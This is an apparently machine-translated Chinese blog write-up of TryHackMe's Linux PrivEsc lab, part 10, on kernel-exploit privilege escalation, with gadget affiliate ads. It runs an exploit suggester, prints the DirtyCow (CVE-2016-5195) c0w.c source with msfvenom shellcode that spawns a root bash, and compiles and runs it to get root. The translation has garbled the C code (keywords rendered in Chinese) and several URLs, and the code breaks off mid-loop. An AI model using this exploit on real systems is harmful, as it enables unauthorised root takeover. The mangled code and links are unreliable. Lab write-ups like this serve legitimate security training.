这次,我们将尝试“使用内核利用来提高特权”。
目标机使用Tryhackme下面的房间。
“ tryhackme-linux privesc: https://tryhackme.com/room/linuxprivesc ”
本文是第10部分。
如果您想使用TryHackMe查看Linux Privesc的写入,请还检查利用历史记录文件,配置文件和重要文件的备份的电子特权
🛠️推荐实用小工具!!
这是现役工程师和黑客们真实使用的推荐小工具!
⌨️推荐键盘:Realforce R3
- 电容式非接触式系统独有的清脆打字感觉!
- REALFORCE首款无线兼容设备!有线连接也可用!
- 与 HHKB 不同,日语键盘布局没有任何怪癖,任何人都可以轻松使用!
关联
*我们将继续添加我们实际使用的模型以及具有类似布局的替代模型。
🖱️推荐鼠标
- 配有拇指轮,水平滚动非常容易!
- 还拥有出色的降噪性能,安静舒适!
- 滚动可以在高速模式和棘轮模式之间切换!
关联
如果您对上述详细评论感兴趣,请查看 Gadget Blog!
*本网站链接可能包含附属链接。购买前请确认价格及库存情况。
目录
准备
首先,使用Start Machine启动目标机器。

如果显示IP地址,则可以。

这次,由于它已升级为特权,因此我将检查一下可以通过SSH连接的位置。
如Tryhackme所示,使用“用户/密码321”连接。
┌──(hacklab㉿hacklab)-[~/tryhackme/linuxprv] └─$ ssh user@10.10.175.49 130 ⨯ user@10.10.175.49's password: Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64 The programs included with the Debian GNU/Linux系统是免费软件;在/usr/share/doc/*/版权所有的单个文件中描述了每个程序的确切分发术语。在适用法律允许的范围内,Debian GNU/Linux绝对没有保修。上次登录:星期五5月15日06:41:23 2020从192.168.1.125
内核利用
内核利用是一种在内核本身(例如Linux和Windows)中创建漏洞的漏洞。
本质上,内核在系统内的最高特权模式下运行,因此,如果滥用,您将几乎拥有所有的系统。
首先,我们将使用Linux Exploit Suggester 2来确定您当前系统上的潜在内核利用。
user@debian:〜$ perl/home/user/tools/kernel-exploits/linux-exploit-suggester-2/linux-exploit-suggester-2.pl ###### linux exploit suggester 2 ######## ####当地内核http://www.securityfocus.com/bid/45408 [2] CAN_BCM CVE-2010-2959资料来源:http://www.exploit-db.com/exploits/14814 [3] http://www.exploit-db.com/exploits/40616 [4] exploit_x cve-2018-14665来源:http://www.exploit-db.com/exploits/45697 [5] http://www.exploit-db.com/exploits/17787 [6] half_nelson2 alt:econet cve-2010-3850来源:http://wwwww.exploit-db.com/exploits/exploits/exploits/17787 http://www.exploit-db.com/exploits/17787 [8] MSR CVE-2013-0268来源:http://www.exploit-db.com/exploits/27297 [9] http://www.exploit-db.com/exploits/15150 [10] http://packetstormsecurity.com/files/download/126603/cve-2014-0196-md.c [12] RDS CVE-2010-2010-3904来源:http:///wwwwwww..exploit-compleoit-com/explo.com/exploits/exploits/exploits/15285 [13] 13] Reisis101010 http://www.exploit-db.com/exploits/12130 [14] Video4linux CVE-2010-3081来源:http://www.exploit-db.com/exploits/15024
有很多列表,但让我们在下面利用著名的列表。
[3] dirty_cow CVE-2016-5195来源:http://www.exploit-db.com/exploits/40616
您可能还想阅读
Dirty Cow(CVE-2016-5195)
Dirty Cow(CVE-2016-5195)是Linux内核中的特权升级脆弱性。
使用“ https://dirtycow.ninja/ (将在/tmp/back中创建/usr/bin/bassword的备份。)
user@debian:〜$ cat/home/user/tools/kernel-exploits/dirtycow/c0w.c/ * * * cve-2016-5195 *的ptrace_pokedata变体应使用RHEL 5&6 * * * * $ gcc -pthread c0w.c -o c0w * $ ./c0w * DirtyCow root privilege escalation * Backing up /usr/bin/passwd.. to /tmp/bak * mmap fa65a000 * madvise 0 * ptrace 0 * $ /usr/bin/passwd * [root@server foo]# whoami * root * [root@server foo]# id * uid = 0(root)gid = 501(foo)组= 501(foo) * @kre80r */ #include<fcntl.h> #包括<pthread.h>#包括<string.h>#包括<stdio.h>#包括<stdint.h>#包括<sys/mman.h>#包括<sys/stat.h>#包括<sys/types.h>#包括<sys/wait.h>#包括<sys/ptrace.h>#包括<unistd.h>int f; void *map; pid_t pid; pthread_t pth; struct Stat ST; //如果无权阅读char suid_binary [] =“/usr/bin/passwd”,请更改; / * * $ msfvenom -p linux/x64/exec cmd =/bin/bash prependSetuid = true -f elf | xxd -i */ unsigned char shell_code[] = { 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05 }; unsigned int sc_len = 177; / * * $ msfvenom -p linux/x86/exec cmd =/bin/bash prependSetuid = true -f elf | xxd -i unsigned char shell_code[] = { 0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x54,0x54,0x54,0x80,0x80 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00, 0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x10, 0x00, 0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53, 0x89, 0xe1,0xCD,0x80}; unsigned int sc_len = 136; */ void *madvisethread(void *arg){int i,c = 0; for(i = 0; i <2000000; i ++)c+= madvise(map,100,madv_dontneed); printf(“ madvise%d \ n \ n”,c); } int main(int argc,char *argv[]){ printf(" \n\ (___) \n\ (oo)_____/ \n\ @@ ` \\ \n\ \\ ____, /%s \n\ // // \n\ ^^ ^^ \n\ ", suid_binary); char *备份; printf(“ dirtycow root特权升级\ n”); printf(“将%s备份到 /tmp /bak \ n”,suid_binary); ASPRINTF(&Backup,“ CP%S /TMP /BAK”,suid_binary);系统(备份); f =打开(suid_binary,o_rdonly); FSTAT(F,&ST); map = mmap(null,st.st_size+sizeof(long),prot_read,map_private,f,0); printf(“ mmap%x \ n \ n”,地图); pid = fork(); if(pid){waitpid(pid,null,0); int u,i,o,c = 0,l = sc_len;对于(i = 0; i <10000/l; i ++)for(o = 0; o
编译并运行代码。
user@debian:〜$ gcc -pthread/home/user/tools/kernel-exploits/dirtycow/c0w.c-c0w.c -o c0w用户@debian:〜$ ./ c0w(_______) /usr/bin/passwd to/tmp/bak mmap 534b7000 madvise 0 ptrace 0
我认为我能够通过运行/usr/bin/passwd获得根特权!
用户@debian:〜$/usr/bin/passwd root@debian:/home/user#whoami root
概括
这次,我尝试了“使用内核漏洞利用的特权高程”。
看到单独的内核漏洞中有多达14个漏洞,可能有些令人惊讶。
由于这是最后的手段,我不知道我将来是否会使用它,但我必须记住。
参考和站点
- -